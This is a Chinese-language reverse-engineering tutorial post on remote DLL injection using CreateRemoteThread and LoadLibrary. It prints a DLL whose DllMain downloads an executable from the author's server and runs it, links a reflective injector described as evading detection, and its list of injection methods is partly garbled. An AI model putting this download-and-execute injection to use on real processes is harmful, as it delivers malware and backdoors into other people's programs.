講了好久,今天終於來到了有名的 DLL遠程注入攻擊,來了解甚麼是遠程DLL注入吧。
透過 DLL注入 ,我們可以將特定的 DLL 檔案強制載入正在運行的程序來實現各種功能。可以以此獲得該軟體的權限,修改該程序使用的記憶體及功能。所以可以說上兩章利用 SetWindowsHookEx() 來使用 DLL 也是算一種 DLL 注入。
DLL注入我目前看到主要分四種方法 :
SetWindowsHookEx() APIREGEDIT ) 的 LoadAppInit_DLLs
QueueUserAPC()、SetThreadContext()
先來講解利用 CreateRemoteThread() API來執行DLL注入。

來看看 DLL注入 是甚麼發生的 :
Handle ( 把它當成指向程式的指針 )。OpenProcess() 取得 DLL 得 Handlekernel32.dll 的 loadLibary() 位置並利用 CreateRemoteThread() 運行( 絕大部分程式都會預設載入 kernel32.dll )Thread 中透過一開始執行的 DllMain 來發動功能。我們來實測看看,利用這些工具來實現一次 DLL注入。
https://github.com/Dinlon5566/IT_Reverse_Engineering/tree/main/Dx19
首先看到 InjectDll.exe,它可以用來把指定的 DLL 注入到指定的 PID。這邊已經把程式編譯成 x64 程式,可以直接在 windows 10 & 11 執行。如果無法執行請確認防毒軟體是不是阻擋了運行。
另外提一下正常透過 LoadLibary() 注入的 DLL inject 痕跡過大,太容易被偵測並阻擋。所以這份工具還使用了反射式API注入這個技術,簡單來說就是注入器自己有一個 loadLibary() 而不使用系統的並且修改導入函數表與重定向表。
InjectDll 工具來源 :
https://github.com/UserExistsError/InjectDll
再來是 getHello_run_x64.dll ,這是我寫的 DLL 程式,它可以到我的主機上下載程式並執行。
下面為主要執行的程式。
// getHello_run_x64.dll
case DLL_PROCESS_ATTACH:
{
HRESULT ret = URLDownloadToFileW(
nullptr,
L"https://ams.dinlon5566.com/Download/helloworld/HelloWorld_x64.exe",
L"HelloWorld_x64.exe",
0,
nullptr
);
if (ret != S_OK) {
return -1;
}
system("HelloWorld_x64.exe");
}
這個網址是我演示時用的,並不會一直存在。可以改成自己的連結。
那開始實驗 :
tasklist 指令或是 procexp 來查出 PID,然後就開始注入。


會發現 DLL 下載了程式,並且成功運行了。某些操作會用類似概念來下載病毒或留下後門。之後來講講 DLL 注入器是甚麼在程式上實現的。